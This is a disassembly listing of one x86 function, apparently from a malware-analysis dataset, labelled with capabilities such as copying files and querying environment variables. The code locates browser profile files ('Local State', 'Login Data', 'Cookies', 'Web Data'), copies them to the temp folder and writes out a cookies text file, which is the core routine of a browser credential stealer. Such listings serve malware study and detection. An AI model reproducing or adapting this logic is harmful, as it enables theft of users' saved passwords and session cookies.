Function at 0x402d83
Capabilities:
Copy file
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a1203
mov eax, dword fs:[0]
push eax
mov eax, 0x1234
call fcn.0047d570
mov eax, dword [0x4c3014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x1190], ecx
mov edi, dword [ebp + 8]
xor ebx, ebx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0xe80], ebx
mov dword [ebp - 0xe7c], ecx
mov word [ebp - 0xe90], ax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xe68], ebx
mov dword [ebp - 0xe64], ecx
mov word [ebp - 0xe78], ax
mov dword [ebp - 0xe50], ebx
mov dword [ebp - 0xe4c], ecx
mov word [ebp - 0xe60], ax
push ebx
push 0x104
lea ecx, [ebp - 0xe90]
mov byte [ebp - 4], 2
call fcn.00404fc6
mov eax, 0x104
lea ecx, [ebp - 0xe78]
cmp dword [ebp - 0xe68], eax
jb 0x402e33
push eax
call fcn.00404f60
jmp 0x402e40
sub eax, dword [ebp - 0xe68]
push ebx
push eax
call fcn.00404fc6
mov eax, 0x104
lea ecx, [ebp - 0xe60]
cmp dword [ebp - 0xe50], eax
jb 0x402e5b
push eax
call fcn.00404f60
jmp 0x402e68
sub eax, dword [ebp - 0xe50]
push ebx
push eax
call fcn.00404fc6
push 0x104
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x218]
mov esi, 0x104
push eax
push str._sLocal_State
lea eax, [ebp - 0xc40]
push esi
push eax
call fcn.0040564d
cmp dword [ebp - 0xe7c], 8
lea ecx, [ebp - 0x218]
push edi
push ecx
push str._s_sLogin_Data
lea eax, [ebp - 0xe90]
cmovae eax, dword [ebp - 0xe90]
push esi
push eax
call fcn.00401086
add esp, 0x24
lea ecx, [ebp - 0x218]
cmp dword [ebp - 0xe64], 8
lea eax, [ebp - 0xe78]
cmovae eax, dword [ebp - 0xe78]
push edi
push ecx
push str._s_sCookies
push esi
push eax
call fcn.00401086
add esp, 0x14
lea ecx, [ebp - 0x218]
cmp dword [ebp - 0xe4c], 8
lea eax, [ebp - 0xe60]
cmovae eax, dword [ebp - 0xe60]
push edi
push ecx
push str._s_sWeb_Data
push esi
push eax
call fcn.00401086
add esp, 0x14
lea ecx, [ebp - 0xe90]
cmp dword [ebp - 0xe7c], 8
cmovae ecx, dword [ebp - 0xe90]
call fcn.0040de9c
test al, al
je 0x40337b
cmp dword [ebp - 0xe64], 8
lea ecx, [ebp - 0xe78]
cmovae ecx, dword [ebp - 0xe78]
call fcn.0040de9c
test al, al
je 0x40337b
cmp dword [ebp - 0xe4c], 8
lea ecx, [ebp - 0xe60]
cmovae ecx, dword [ebp - 0xe60]
call fcn.0040de9c
test al, al
je 0x40337b
push ecx
push ecx
lea eax, [ebp - 0xec0]
push eax
lea ecx, [ebp - 0xe90]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xea8]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xe90]
cmp ecx, eax
je 0x402fc3
mov byte [ebp - 0x118c], bl
push dword [ebp - 0x118c]
push eax
call fcn.00405064
lea ecx, [ebp - 0xea8]
call fcn.00404f32
lea ecx, [ebp - 0xec0]
mov byte [ebp - 4], 2
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0xea8]
push eax
lea ecx, [ebp - 0xe78]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xec0]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xe78]
cmp ecx, eax
je 0x403023
mov byte [ebp - 0x118c], bl
push dword [ebp - 0x118c]
push eax
call fcn.00405064
lea ecx, [ebp - 0xec0]
call fcn.00404f32
lea ecx, [ebp - 0xea8]
mov byte [ebp - 4], 2
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0xea8]
push eax
lea ecx, [ebp - 0xe60]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xec0]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xe60]
cmp ecx, eax
je 0x403083
mov byte [ebp - 0x118c], bl
push dword [ebp - 0x118c]
push eax
call fcn.00405064
lea ecx, [ebp - 0xec0]
call fcn.00404f32
lea ecx, [ebp - 0xea8]
mov byte [ebp - 4], 2
call fcn.00404f32
push 9
pop edx
push 5
pop ecx
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xf08]
call fcn.004105fe
push 9
pop edx
push 5
pop ecx
mov byte [ebp - 4], 6
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xef0]
call fcn.004105fe
push 9
pop edx
push 5
pop ecx
mov byte [ebp - 4], 7
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xed8]
call fcn.004105fe
lea eax, [ebp - 0x420]
mov byte [ebp - 4], 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp dword [ebp - 0xef4], 8
lea eax, [ebp - 0xf08]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmovae eax, dword [ebp - 0xf08]
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x830]
push eax
call esi
cmp dword [ebp - 0xedc], 8
lea eax, [ebp - 0xef0]
cmovae eax, dword [ebp - 0xef0]
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0xa38]
push eax
call esi
cmp dword [ebp - 0xec4], 8
lea eax, [ebp - 0xed8]
cmovae eax, dword [ebp - 0xed8]
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x628]
push eax
call esi
cmp dword [ebp - 0xe7c], 8
lea ecx, [ebp - 0x830]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xe90]
cmovae eax, dword [ebp - 0xe90]
push ebx
push ecx
push eax
call esi
cmp dword [ebp - 0xe64], 8
lea eax, [ebp - 0xe78]
push ebx
cmovae eax, dword [ebp - 0xe78]
lea ecx, [ebp - 0xa38]
push ecx
push eax
call esi
cmp dword [ebp - 0xe4c], 8
lea ecx, [ebp - 0x628]
push ebx
lea eax, [ebp - 0xe60]
cmovae eax, dword [ebp - 0xe60]
push ecx
push eax
call esi
lea edx, [ebp - 0xc40]
lea ecx, [ebp - 0xe9c]
call fcn.00401df8
mov byte [ebp - 4], 9
mov esi, dword [ebp - 0xe98]
cmp dword [ebp - 0xe9c], esi
je 0x40334c
push ecx
push ecx
lea ecx, [ebp - 0x1240]
call fcn.004041e9
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1188]
sub esi, dword [ebp - 0xe9c]
mov edx, dword [ebp - 0xe9c]
push esi
call fcn.0040d49c
pop ecx
push edi
push dword [ebp - 0x1190]
lea edx, [ebp - 0x1188]
lea ecx, [ebp - 0x830]
call fcn.00402009
lea eax, [ebp - 0x1240]
push eax
lea edx, [ebp - 0x1188]
lea ecx, [ebp - 0xa38]
call fcn.00402287
add esp, 0xc
lea eax, [ebp - 0xec0]
lea ecx, [ebp - 0x1240]
push eax
call fcn.00404140
lea ecx, [ebp - 0xec0]
mov esi, dword [eax + 0x10]
call fcn.0040508d
test esi, esi
je 0x403304
push edi
push dword [ebp - 0x1190]
lea eax, [ebp - 0xe48]
push str._Cookies_s__s.txt
push 0x104
push eax
call fcn.0040564d
add esp, 0x14
lea eax, [ebp - 0xf20]
lea ecx, [ebp - 0x1240]
push eax
call fcn.00404140
mov esi, eax
lea eax, [ebp - 0xec0]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x1240]
call fcn.00404140
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x14], 0x10
jb 0x4032d9
mov eax, dword [eax]
push dword [esi + 0x10]
lea edx, [ebp - 0xe48]
push eax
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [ebp - 0xec0]
call fcn.0040508d
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0xa
call fcn.0040508d
lea edx, [ebp - 0x1188]
lea ecx, [ebp - 0x628]
call fcn.004024ee
lea ecx, [ebp - 0x628]
call fcn.0040271d
push 0x268
lea eax, [ebp - 0x1188]
push ebx
push eax
call fcn.0047ed30
add esp, 0xc
lea ecx, [ebp - 0x1240]
call fcn.004024a2
mov esi, dword [ebp - 0xe98]
cmp dword [ebp - 0xe9c], esi
lea ecx, [ebp - 0xe9c]
setne bl
call fcn.00404f0f
lea ecx, [ebp - 0xed8]
call fcn.00404f32
lea ecx, [ebp - 0xef0]
call fcn.00404f32
lea ecx, [ebp - 0xf08]
call fcn.00404f32
lea ecx, [ebp - 0xe60]
call fcn.00404f32
lea ecx, [ebp - 0xe78]
call fcn.00404f32
lea ecx, [ebp - 0xe90]
call fcn.00404f32
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047c71d
leave
ret